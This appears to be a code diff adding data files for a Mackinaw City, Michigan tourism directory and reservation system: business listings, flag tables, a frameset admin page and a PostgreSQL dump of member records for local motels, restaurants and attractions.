+325 6 1 t Mackinaw IGA "101 E. Central Avenue, P.O. Box 220" Mackinaw City MI 49701 US 231-436-5502 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+133 8 1 t Indian River Golf Club 3301 Chippewa Beach Road Indian River MI 49749 US 231-238-7011 800-305-4742 """Best Kept Secret in the North"" Detroit Freepress. 3 star rating Golf Digest's Places to Play. 18 hole championship course, carved of virgin pine with watered greens, fairways & roughs, beautiful practice facility, PGA instruction available. Walk or ride with twilight rates available. Minutes off I-75, 30 minutes from Gaylord, Petoskey & Mackinaw City. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+134 8 1 t Kincheloe Memorial Golf Club 50 Woodside Drive Kincheloe MI 49788 US 906-445-5706 "Beautiful 7,000 yard, 18 hole course at retired Kincheloe Air Force Base. Owned by Kinross Township. Reasonable rates and exceptional conditions make this course a must play for golfers in the area. Amenities include bar, grill, and driving range. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+137 12 1 t Garlyn Zoological Park Hwy 2 Naubinway MI 49762 US 906-477-1085 www.garlynzoo.com "In Michigan's beautiful upper peninsula. Only 40 minutes from the Mackinac Bridge. Featuring black bear, wolves, wallaby, camel, reindeer, whitetail deer, sika deer & more. Natural parklike setting. Gift Shop filled with wildlife related items." logo5aa1.gif 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+326 6 1 t Wicks & Pics P.O. Box 1084 (Located in the Mackinaw Crossings) Mackinaw City MI 49701 US 231-436-7352 wicksandpics@voyager.net "Open daily May-October, weekends until Christmas. Year \91round shipping available \96 custom orders on wedding candles. Widest selection of high quality candles in Northern Michigan, including A.I. Root, Dadant, DelMar, Village Candle and Bull Frog Light Company. From highly scented votives and jars to unscented dinner candles, pillars, tea lights, accessories, glassware, florals, snuffers and oil lamps." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+328 3 1 t Mackinaw Journal & Mackinaw Today P.O. Box 308 Mackinaw City MI 49701 US 231-436-5458 tugrads@yahoo.com "Published by B&B Publishing, LLC" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+329 6 1 t Mackinaw Kite Company P.O. Box 676 105 N. Huron Avenue Mackinaw City MI 49701 US 231-436-8051 www.mackite.com "A full selection of high-performance kites, single line kites, windsocks, beach toys & flying toys. It's where fun begins in Mackinaw!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+138 9 1 t Big Bear Adventures 4271 S. Straits Hwy. Indian River MI 49749 US 231-238-8181 888-75-NORTH www.bigbearadventures.com "Exciting canoe, kayak, raft & tube trips on the Sturgeon River! Trips of varying lengths for all ages/skill levels from adventurous to relaxing. Enjoy our Family Fun Center with adventure golf, bungee bouncer, & snack bar. Group Packages Available" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+139 6 1 t Coffman Hardware 227 Central Avenue Mackinaw City MI 49701 US 231-436-5650 "Charming old time hardware & sporting goods store. Largest selection of cutlery in Northern Michigan. Specializing in Case pocket knifes & Morbles hunting knives. Everything for the camper, R.V. supplies, tents, sleeping bags,coleman parts & service, cast iron cookware, fishing tackle,live bait, hunting & fishing License, bike repair, keys cut, electrical & plumbing supplies, Martin senour paint." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+140 6 1 t The Great Lakes Teddy Bear Factory 244 S. Huron Avenue (In Mackinaw Crossings) Mackinaw City MI 49701 US 231-436-BEAR 231-436-4088 "Kids of all ages design, stuff & create your own personalized teddy, right in our ""factory"". Receive a birth certificate & select a wardrobe. We supply guidance, you supply the love!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+141 9 1 t Just A Plain Farm 5055 Gill Rd. Carp Lake MI 49718 US 231-537-2302 japf@freeway.net www.justaplainfarm.com "A scenic farm producing 100 acrea of pumpkins, squash, gourds, ornamental corn, veggies & sweet corn. Unique gifts & seasonal decorations produced in our barn. Hayrides, U-Pick, picnics, parties & fun. Open July - November. M-S 10-6. Sun. 12-6." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+143 1 9 t KOA Campground 566 Trailsend Rd. Mackinaw City MI 49701 US 231-436-5643 800-KOA-1738 www.mackinawcitykoa.com "Open May 1 - Oct 15, 1999. Shaded sites among birch trees. Mostly pull-thru. Water/elec/sewer. Tent spaces, kamping kabins. Heated pool, playground, free movies, rec. room, grocery, souvenirs, propane, laundromat, nature trails. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+144 1 9 t Mackinaw Mill Creek Campground US 23 & Lake Huron Mackinaw City MI 49701 US 231-436-5584 208-246-4350 www.campmackinaw.com "Open May - Oct. 2 1/2 miles south of Mackinaw. 600 sites on Lake Huron. 200 full hookups, store, playgrounds, htd pool, mini-golf, Lp gas, 20 - 30 amp, cabins. Reservations accepted. Dump station, 200 acres of forest & natural beaches. Flush toliets & showers." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+145 1 9 t Tee Pee Campground 11262 W. US 23 Mackinaw City MI 49701 US 231-436-5391 231-436-4091 www.teepeecampground.com "On Straits of Mackinaw, with outstanding views of Mackinac Bridge, Mackinac Island, freighter and ferry traffic. 100 grassy, open or shaded sites for trailers or tents. Electric, water, fire ring, picnic table on each site. Clean, Modern restrooms, hot showers, sanitary station. Party Store with snacks, ice, wood, game room, internet access available. Beach, play area, swimming, basketball, horseshoes. Nightly beach bonfire. Complimentary island ferry and casino shuttle. Walk or bike to town. Reservations accepted. Open May - Oct. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+146 1 9 t Wilderness State Park Carp Lake MI 49718 US 231-436-5381 "Located 11 miles west of the city, over 8,000 acres abound in wildlife, wildflowers, forests & natural beaches. Hunting & fishing, especially small mouth bass, are excellent. Trails for the nature lover, both winter & summer." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+147 6 1 t Island Bookstore 215 E. Central Avenue Mackinaw City MI 49701 US 231-436-2665 www.islandbookstore.com "We are a full service bookstore & coffee shop that specializes in regional titles. We also carry children's books & toys, gifts, stationary, magazines, & newspapers. If we don't have the book you are looking for, we'll special order it & ship it too!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+175 8 1 t Mackinaw City Municipal Marina 107 S. Huron Mackinaw City MI 49701 US 231-436-5269 "In the heart of downtown. Transient & seasonal dockage, gas, oil, diesel, pump-out, water, 30 & 50 amp power, cable TV, restrooms, showers, laundry room, launch ramp. Picnic/grilling area & ice. Next to marine service. Grocery delivery." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+330 3 1 t B&B Publishing 580 South Nicolet Street P.O. Box 308 Mackinaw City MI 49701 US 231-436-5458 231-436-8209 tugrads@yahoo.com "B&B Publishing produces the Mackinaw Journal - Mackinaw City's community newspaper, and Mackinaw Today, a series of tourist guides for the Straits Area." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+331 6 1 t Twisted Crystal 301 E. Central Avenue - P.O. Box 954 Mackinaw City MI 49701 US 231-436- 5121 info@twistedcrystal.com www.twistedcrystal.com "Established in 1990, Twisted Crystal is a gallery of handcrafted wire-wrapped and beaded jewelry made by the owners and staff. Featuring genuine and lab-grown stones, sterling silver and beaded jewelry. (Prices) start at $3.00 and up. Casual clothing and fun gifts make shopping at Twisted Crystal a truly original Mackinaw City experience." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+177 3 1 t Cheboygan Memorial Hospital 748 Main Street Cheboygan MI 49721 US 231-627-5601 231-627-1471 www.chmnet.com "Cheboygan Memorial Hospital in Cheboygan has 24-hr. emergency care, more than 50 physicians representing 17 medical specialties & a full range of primary care services. Long-term care, MRI, CT scanning & Bone Densitometry are available at CMH." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+178 1 6 t Hawthorn Inn & Suites Lakeview 714 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5929 800-555-6225 www.mackinaw-city.com/lodging/hawthorne/index.html "New in 2000. Comp hot breakfast bar. Near shopping, dining & ferry. Indoor corridors, pool/whirlpool, all rms have private balconies with lakeview, extra lge suites w/kitchens & whirlpools, elevator. King & queen beds. " acf223.jpg 12/12/02 12/12/02 t f t f f f f f t f f f f f f
+182 11 1 t Mario's Restorante 918 S. Huron Avenue Mackinaw City MI 49701 US 231-436-7818 mackinawdining@aol.com www.mackinawdining.com "AAA approved. Open from May 15 to October 15 daily at 4pm. We offer fine Italian food as well as some American favorites. HAND TOSSED PIZZA. Children's menu available, Beer, Wine, Cocktails, and fast free delivery of anything on our menu. Most major credit cards accepted" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+185 7 1 t Coldwell Banker Northern Lakes 115 N. Huron Avenue Mackinaw City MI 49701 US 231-436-4151 www.cbnorthernlakes.com "With offices in Mackinaw City, Cheboygan, Alanson, and Indian River, Coldwell Banker Northern Lakes serves the Straits of Mackinac and surrounding Inland Waterway areas. Our offices are open seven days a week, or you can visit our website to view all of our listings, all over Northern Michigan. Whether you are seeking a home on the Straits, property to build your dream home on, or recreational acreage to enjoy all the North has to offer, we can help! Coldwell Banker Northern Lakes looks forward to serving all your real estate needs." acf14.jpg 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+332 9 1 t Mackinaw City Jet Ski Rental 11384 W. US 23 (located at the Grandview Resort) Mackinaw City MI 49701 US 231-436-8400 "A fabulous vacation on the water is waiting for you! Mackinaw City Jet Ski Rentals is going to make it the most enjoyable one yet. We have all your watersport recreational needs in one place. We offer the 2001 YAMAHA XL800. One, two or three person sit down Jet Ski watercraft. Equipped with a 90hp, dual carb engine, full instrumentation, side view mirrors, a large front storage area and a big ice chest makes this model our high-performance three passenger. 17' YAMAHA EXCITER XL: Our 17' Exciter jet boat is powered with twin 120 Hp Sport Jet engines. This boat seats up to 6 adults. It is equipped with an ice chest and a bimini top for shade. This boat is great choice if you are looking for a boat with the handling and fun of a personal watercraft." acf906.jpg 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+334 6 1 t Souvenirs Marugo 226 E. Central Avenue Mackinaw City MI 49701 US 231-436-6278 231-436-7078 danbobb@freeway.net "An interesting assortment of souvenirs, novelties, toys, costume jewelry, knives, candles, incense & more. Located next to Kilwin's and Scalawags on Central Avenue." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+341 8 1 t Black Lake Golf Club 2800 Maxon Road Onaway MI 49765 US 989-733-GOLF blacklakegolf.com "Nationally acclaimed architect Rees Jones' first Northern Michigan course is Black Lake Golf Club and it bears his trademark of top-notch quality and playability. The course has been selected by Golf Digest as the ""2nd Best New Upscale Public Course for 2000"" and by Golf Magazine in 2001 ""Top 10 you can play"" Complimenting the big course is the unique ""Little Course"", a par 3 pitch and putt, plus a double-ended bentgrass range." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+148 4 1 t Mackinaw Straits Area Wedding Consultant P.O. Box 877 Mackinaw City MI 49701 US 231-436-5686 mackinacweddings@aol.com www.mackinac.com/weddingspecialist "Unique wedding opportunities (indoor & outdoor): Mackinaw City, one hour wedding cruise, historic lighthouse, Mackinac Island or countryside church...complete planning of services available. <p> Winter Phone(Oct - May): 616-327-2549. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+150 6 1 t Great Lakes Teddy Bear Company Located in the Mackinaw Crossings Mackinaw City MI 49701 US 231-436-BEAR 888-433-GLTB www.greatlakesteddybear.com "Create Your Own Bear! Choose your own eyes, nose & fur, Experience the excitement of stuffing your new friend and giving is a bath. When you finished, name your bear and receive a birth certificate. Accessorize your new teddy with a variety of wearables." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+151 1 6 t Sunrise Beach Motel 11416 W. U.S. 23 Mackinaw City MI 49701 US 231-436-5461 800-334-7239 231-436-7429 www.sunrisebeachmotel.com "Waterfront Motel with private decks & balconies overlooking the Mackinac Bridge & Mackinac Island. Private sandy beach with picnic, play, & firepit areas. Htd Outdoor-Indoor Pool with large sundeck and Spa. Microwaves & refrigerators available. Phones, A/C, C/CTV w/remotes. Free continental Breakfast." 12/12/02 12/12/02 t t t f t f f f f f f f f f f
+176 12 1 t Great Lakes Shipwreck Museum 18355 N. Whitefish Point Rd. Paradise MI 49768 US 1-877-shipwreck www.shipwreckmuseum.com "Exhibits tell the stories of wrecked ships & lives lost on the Great Lakes. Highlights include Edmund Fitzgerald Memorial featuring the ship's bell, 1861 Lightkeepers Quarters, Theater, Museum Store & sweeping views of the Shipwreck Coast. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+342 1 6 t Mill Creek Motel 9176 US 23 Mackinaw City MI 49701 US 231-436-8722 "Non Smokers only. Ultra clean, quiet, relaxed. Family-owned & operated on the water. Private beach, bonfires, new televisions with remotes, cable, HBO, refrigerators, microwaves. Across from Mill Creek State Park. Breathtaking view of Bridge and Island. Sorry no pets." 12/12/02 12/12/02 f f f f t f f f f f f f f f f
+343 11 1 t Squealy Downings Family Restaurant 707 N. Huron Avenu Mackinaw City MI 49701 US 231-436-7330 "OPEN ALL YEAR. Breakfast, Lunch, Dinner. Featuring a 19 foot buffet with the best home cooking in the North & full menu with chabroiled steaks, seafood, pizza, specialty sandwiches & cocktails. Free delivery. Special group rates & catering. Hundreds of pigs to see!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+344 8 1 t The Rock at Drummond Island 33494 S. Maxton Road Drummond Island MI 49726 US 906-493-1006 800-999-6343 www.drummondisland.com "Island Greens. Long tree-lined fairways. Dog-legs left. Dog-legs right. Abundant wildlife - deer that actually come into play on some holes. Four tees for play all levels. This emerald is cut out of limestone, trimmed by hardwood and cedar, and each fairway is crafted separately over 400 acres. Enjoy fine dining at Bayside Restaurant & Lounge on the waterfront or a more casual menu at Pins Bar & Grill" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+345 2 1 t Richard E. Mahlmeister P.O. Box 996 Mackinaw City MI 49701 US 231-436-5223 "Offering a full range of accounting,payroll auditing,and tax services; all with a personal touch." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+346 3 1 t Hospitality Management of Michigan 927 North State Street Mackinaw City MI 49781 US 800-643-7177 906-643-6420 Hospitality Management is an established Group Sales business with professional experience in group packaging in Michigan. Call for information. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+347 11 1 t Fish Basket and Pub 825 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5557 "Famous Fish Fry prepared freshly while you wait. Enjoy several choices of Fish, dips and taters. Also enjoy your favorite cocktail at this location. Our carrot cake is the best!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+305 6 1 t Rainbow Sportswear 317 E. Central Avenue Mackinaw City MI 49701 US 231-436-5631 ahayden@ctaz.com "THE T-SHIRT HUB OF MACKINAW! The BEST imprinted T's and Sweats in the midwest. Only quality garments like JERZEE. Over 5,000 images available, completed while you wait. The Largest Selection of Belt Buckles in the Country. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+308 6 1 t Enchanted Knights "Central Avenue, P.O. Box 749" Mackinaw City MI 49701 US 231-436-4059 231-597-9227 eknights@northlink.net www.enchantedknights.com "A truely unique store where ""Myths and Legends come Alive."" Featuring a full size knight, dragon, and Pegasus - Renaissance clothing, weapons, and jewelry, mythical figurines, incense, T-shirts and much, much more. Visit our website at www.enchantedknights.com for a store tour. Located at the Central Avenue entrance to the Mackinaw Crossings." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+309 9 1 t "Le Sault de Ste. Marie Historical Sites, Inc." 501 E. Water Street Sault Ste. Marie MI 49783 US 906-632-3658 888-744-7867 906-632-9344 valleycamp@sault.com www.soohistoricinc.sault.com "The historic 1917 Museum Ship VALLEY CAMP with over 100 exhibits, including the huge fresh-water aquariums, the Edmund Fitzgearld lifeboats and memorial.Glimpse into the crew's working conditions as you tour all three levls of this 550 ft lake freighter. Take in the panoramic view from the top of the 210 foot Tower of History. Also featured are local artifacts and a historical video of Sault Ste. Marie." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+310 11 1 t Goldie's On The Lake 6492 Paradise Trail Carp Lake MI 49718 US 231-537-4089 www.goldiescafe.com "Visit Goldie's Cafe on relaxing Paradise Lake. We offer a wide variety of homemade specialties from entrees to soups and pies. Dine inside or outside on our covered deck. After your meal enjoy the Old Fashioned Ice Cream Parlour, featuring hand-dipped ice cream, malts, sundaes, banana splits and other house specialties. Just 5 miles south of Mackinaw City." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+311 11 1 t Cunningham's Family Restaurant 312 E. Central Avenue Mackinaw City MI 49701 US 231-436-8821 231-627-1136 www.cunninghamsrestaurant.com "Our #1 goal is to provide you our customers with a delicious meal and warm and friendly service in a nautical atmosphere. Specializing in home-style cooking, homemade pasty's, homemade pies and fresh whitefish from the Great Lakes. Kids menu available, smoke-free, Visa - Mastercard Cards Accepted. Group Tours Welcome." 12/12/02 12/12/02 f f f f f f f f t f t t f f f
+312 11 1 t Wilderness Cafe & Pizza Palace 314 & 316 E. Central Avenue Mackinaw City MI 49701 US 231-436-5462 231-627-1136 www.wildernesscafe.com "Offering delicious and satisfying meals at affordable prices in a beautiful wilderness setting. We feature a Full-Service Menu in which you are sure to find a dish that pleases the eye as well as the palate. Salad Bar, American, Mexican, Italian food, Pizza and Kids menu too. We offer beer, wine or your favorite cocktail. Group Tours Welcome. PIZZA LOVERS FAR AND WIDE know that the best Pizza in the North is the family-owned and operated PIZZA PALACE. Call ahead and have a hot, tasty pizza ready when you arrive or take advantage of our fast, free delivery, which ever you prefer. ($6.00 min. on delivery)." 12/12/02 12/12/02 f f f f f f f f f f t t t f f
--- /dev/null
+1 0 0 0 0 0
+2 1 1 1 0 0
+4 1 1 0 0 0
+7 1 1 1 1 0
+307 0 0 0 0 0
+335 0 0 0 0 0
+8 1 1 1 1 0
+9 1 1 1 0 0
+10 1 1 1 1 0
+11 1 1 1 0 0
+12 1 1 1 1 0
+13 1 1 1 1 0
+14 1 1 1 1 0
+15 1 1 1 1 0
+16 1 1 0 0 0
+17 1 1 1 0 0
+18 1 1 1 0 0
+19 1 1 1 1 0
+20 1 1 1 1 0
+21 1 1 1 1 0
+22 1 1 1 1 1
+23 1 1 1 1 0
+24 1 1 1 0 0
+25 1 1 1 1 0
+26 1 1 1 1 0
+27 1 1 1 1 0
+29 1 1 1 1 0
+30 1 1 1 1 0
+31 1 1 0 0 0
+32 1 1 1 1 0
+33 1 1 1 1 0
+34 1 1 1 0 0
+35 1 1 1 0 0
+36 1 1 1 1 0
+37 1 1 1 1 0
+38 1 1 1 1 0
+39 1 1 1 1 0
+40 1 1 0 0 0
+41 1 1 1 0 0
+42 1 1 1 1 0
+43 1 1 1 1 0
+44 1 1 1 1 0
+45 1 1 1 1 1
+46 1 1 1 0 0
+47 1 1 1 0 0
+48 1 1 1 0 0
+49 1 1 0 0 0
+51 1 1 1 1 0
+52 0 0 0 0 0
+53 0 0 0 0 0
+315 0 0 0 0 0
+316 0 0 0 0 0
+54 0 0 0 0 0
+57 0 0 0 0 0
+58 0 0 0 0 0
+59 0 0 0 0 0
+314 0 0 0 0 0
+317 0 0 0 0 0
+318 0 0 0 0 0
+61 0 0 0 0 0
+62 0 0 0 0 0
+63 0 0 0 0 0
+64 0 0 0 0 0
+65 0 0 0 0 0
+319 0 0 0 0 0
+320 0 0 0 0 0
+321 0 0 0 0 0
+322 0 0 0 0 0
+70 0 0 0 0 0
+72 0 0 0 0 0
+73 0 0 0 0 0
+74 0 0 0 0 0
+75 0 0 0 0 0
+323 1 1 1 1 1
+336 0 0 0 0 0
+77 0 0 0 0 0
+78 0 0 0 0 0
+80 0 0 0 0 0
+81 0 0 0 0 0
+82 0 0 0 0 0
+84 0 0 0 0 0
+85 0 0 0 0 0
+86 1 1 1 1 0
+87 0 0 0 0 0
+88 0 0 0 0 0
+91 0 0 0 0 0
+93 0 0 0 0 0
+94 0 0 0 0 0
+96 0 0 0 0 0
+97 0 0 0 0 0
+98 0 0 0 0 0
+99 0 0 0 0 0
+100 0 0 0 0 0
+101 0 0 0 0 0
+102 0 0 0 0 0
+103 0 0 0 0 0
+105 0 0 0 0 0
+106 0 0 0 0 0
+109 0 0 0 0 0
+324 0 0 0 0 0
+110 0 0 0 0 0
+112 0 0 0 0 0
+113 0 0 0 0 0
+114 0 0 0 0 0
+115 0 0 0 0 0
+116 1 1 1 1 1
+117 1 1 0 0 0
+118 1 1 1 1 1
+119 0 0 0 0 0
+121 0 0 0 0 0
+122 0 0 0 0 0
+123 0 0 0 0 0
+125 0 0 0 0 0
+126 0 0 0 0 0
+337 0 0 0 0 0
+338 0 0 0 0 0
+339 0 0 0 0 0
+340 0 0 0 0 0
+127 0 0 0 0 0
+128 0 0 0 0 0
+129 0 0 0 0 0
+130 0 0 0 0 0
+132 0 0 0 0 0
+325 0 0 0 0 0
+133 0 0 0 0 0
+134 0 0 0 0 0
+137 0 0 0 0 0
+326 0 0 0 0 0
+328 0 0 0 0 0
+329 0 0 0 0 0
+138 0 0 0 0 0
+139 0 0 0 0 0
+140 0 0 0 0 0
+141 0 0 0 0 0
+143 0 0 0 0 0
+144 0 0 0 0 0
+145 0 0 0 0 0
+146 0 0 0 0 0
+147 0 0 0 0 0
+175 0 0 0 0 0
+330 0 0 0 0 0
+331 0 0 0 0 0
+177 0 0 0 0 0
+178 1 1 1 1 0
+182 0 0 0 0 0
+185 0 0 0 0 0
+332 0 0 0 0 0
+334 0 0 0 0 0
+341 0 0 0 0 0
+148 0 0 0 0 0
+150 0 0 0 0 0
+151 1 1 1 0 0
+176 0 0 0 0 0
+342 0 0 0 0 0
+343 0 0 0 0 0
+344 0 0 0 0 0
+345 0 0 0 0 0
+346 0 0 0 0 0
+347 0 0 0 0 0
+305 0 0 0 0 0
+308 0 0 0 0 0
+309 0 0 0 0 0
+310 0 0 0 0 0
+311 1 1 0 0 0
+312 1 1 0 0 0
--- /dev/null
+<TITLE>Reservation System Administration</TITLE>
+<FRAMESET frameborder="0" framespacing="0" BORDER=0 ROWS="70,*">
+ <FRAME NAME="Res_Nav" SRC="nav.phtml" MARGINWIDTH="6" MARGINHEIGHT="0" SCROLLING="AUTO">
+ <FRAME NAME="Res_Main" SRC="action.phtml" MARGINWIDTH="6" MARGINHEIGHT="4" SCROLLING="AUTO">
+</FRAMESET>
+<NOFRAMES>
+<HEAD><TITLE>Reservation System Administration</TITLE></HEAD>
+<BODY>
+Admin Requires Frames Capable Browser
+</BODY>
+</NOFRAMES>
--- /dev/null
+--
+-- Selected TOC Entries:
+--
+--
+-- TOC Entry ID 2 (OID 780691)
+--
+-- Name: member_temp_id_seq Type: ACL Owner:
+--
+
+--
+-- Data for TOC Entry ID 3 (OID 781003) TABLE DATA member_temp
+--
+
+\connect - postgres
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (1,'','',11,1,'t','Mackinaw Pastie & Cookie Co. The Pastie Specialist','514 South Huron','Mackinaw City','MI','49701','US','231-436-5113','','','','www.mackinawpastie.com','Delicious Handmade Cornish pasties and cookies, always prepared and baked fresh daily in our kitchen','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (2,'','',1,6,'t','Vindel Motel','223 W. Central Avenue, P.O. Box 621','Mackinaw City','MI','49701','US','231-436-5273','800-968-5273','231-436-7326','','www.vindelmotel.com','Open all Year. Quiet setting with comfort & style. Short walk to ferries, fort, shopping, churches, restaurants, & high school. Located at Big Mac Snowmobile Trail.','','','','','','','2002-12-12','2002-12-12','f','t','f','f','f','f','f','f','f','f','f','f','f','f','t',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (4,'','',1,6,'t','Kings Inn','1020 S. Nicolet','Mackinaw City','MI','49701','US','231-436-5322','888-810-5322','','','www.kingsinnmackinawcity.com','Very clean rooms! Coffee, heated pool, and playground are all included in our reasonable prices. Walking distance to ferrys to Mackinac Island. Heated outdoor pool, jacuzzi suite, continental breakfast, cable TV with HBO & ESPN. Small pets accepted. Senior and AAA discounts awarded.','kings.jpg','','','','','','2002-12-12','2002-12-12','f','t','f','f','f','f','f','f','t','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (7,'','',1,6,'t','Capri Motel','801 S. Nicolet Ave., ','Mackinaw City','MI','49701','US','231-436-5498','','231-436-7328','capri@freeway.net','WWW.michigantraveler.com/capri.html','27 ground level units. Parking in front of your door. Near ferry dock, restaurants, and shopping area. Across from the Travel Information Center. Free shuttle to boat docks. Free coupon books. Adjacent to Snowmobile Trail.','','','','','','','2002-12-12','2002-12-12','f','t','f','f','f','f','f','f','f','f','f','f','f','f','t',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (307,'','',1,10,'t','The Shores at Mackinaw','10900 US 23','Mackinaw City','MI','49701','US','231-436-1000','877-9-SHORES','','','www.theshoresatmackinaw.com','New for 2001! Luxurious lakefront condominiums located in Mackinaw City. One, two and three bedroom uinits available year-round. Fully furnished, walking trails, outdoor heated pool (under construction) and beach. For reservations & availability call 877-9-SHORES. ','','','','','','','2002-12-12','2002-12-12','t','f','f','f','t','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (335,'','',6,1,'t','SPAGS Next Door','113 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5309','','','','','Enter on Huron or Langlade Street, located next door to the bakery for unique gifts, cards, specialty foods, home decor and collectibles. Our friendly and helpful staff will help you select that special something or create a basket for any occasion. The gift registry, gift wrap & shipping service will insure that each gift will please.','acf5a4.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (8,'','',1,6,'t','Anchor Inns','138 US 31','Mackinaw City','MI','49701','US','231-436-5553','','','','www.anchorbudgetinn.com','32 new units in 2001indoor pool and game room. Within walking distance to restaurants and Island Ferry docks. Member AAA, WMTA. Exit #338 Southbound. Exit #337 Northbound.','acf88c.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','t','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (9,'','',1,6,'t','Beachcomber Motel - On The Water','1011 S. Huron Ave.','Mackinaw City','MI','49701','US','231-436-8451','800-968-1383','','','www.mackinawcity.com/lodging/beachcomber','Excellent view of Bridge & Island. Clean housekeeping cottage on lake. Lakefront units with king and queen beds. In-room jacuzzi units. Owner operated and very clean. ','beachcomber.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','t','f','f','f','f','f','f','f','f','f','f',0);
